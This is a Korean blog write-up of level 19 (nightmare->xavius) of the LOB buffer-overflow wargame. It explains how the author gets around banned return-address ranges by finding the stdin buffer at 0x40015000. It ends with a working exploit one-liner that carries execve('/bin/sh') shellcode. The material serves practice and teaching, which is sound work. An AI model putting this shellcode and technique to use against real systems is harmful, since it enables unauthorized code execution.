LOB_19.nightmare->xavius
해킹/LOB 2016. 2. 3. 18:46
코드도 길어졌고 특이한 부분도 많이 보인다.
우선은 argv를 사용하지 않고 fgets를 통해서 stdin으로 입력을 받고있다.
먼저 \xbf와 \x08로 시작하는 리턴주소는 사용할 수 없다.
그래도 \x40으로 시작하는 라이브러리 주소는 사용할 수 있으니 그쪽으로 점프할까 했으나..
\x90\x90 즉 nop들이 나오기 전에 \xc9(leave)와 \xc3(ret)이 나오면 안되는 구조다. 즉 라이브러리 함수를 사용할 수 없다.
일반적인 함수의 구조를 사용할 수 없다면 쉘코드를 사용해야 하는데 버퍼로는 뛸수 없으니 stdin의 위치를 찾는 수밖에 없겠다.
일단은 xavius 프로그램을 실행시켜놓고 프로세스의 maps를 읽어봤다.
일단은 읽을 수 있는 부분이 전부 나오는듯 한데 저중에서 08과 bf로 시작되는 부분을 빼면 40000000~ 4010d000까지다.
이부분 어딘가에 stdin이 있을 것이다.
fgets 직후인 main+26부분에 bp를 걸고 a를 잔뜩 집어넣어 준 뒤 0x40000000부분부터 메모리를 쭉 훑어봤다.
0x40015000부터 내가 넣은 입력값이 들어있는 것을 확인할 수 있었다. 저부분으로 점프주소를 넣어주면 되겠으나 00은 넣어줄 수 없으므로 0x40015001로 점프하도록 하자.
(python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"aaaa"+"\x01\x50\x01\x40"';cat)|./xavius
쉘코드에 잘 접근한 모양이다. 공격에 성공했다.
사실 stdin의 주소를 디버깅을 통해서도 어느정도 예측할 수 있었다. fgets함수를 오랫동안 뜯어보면서 그안에서 stdin의 주소로 생각되는 부분을 찾아냈지만 더 효율적인 방법으로만 포스팅 하기로 했다.
끝-
'해킹 > LOB' 카테고리의 다른 글
LOB_20.xavius->death_knight (0) | 2016.02.06 |
---|---|
LOB_18.succubus->nightmare (0) | 2016.02.03 |
LOB_17.zombie_assassin->succubus (0) | 2016.02.01 |
LOB_16.assassin->zombie_assassin (0) | 2016.01.31 |
LOB_15.giant->assassin (0) | 2016.01.31 |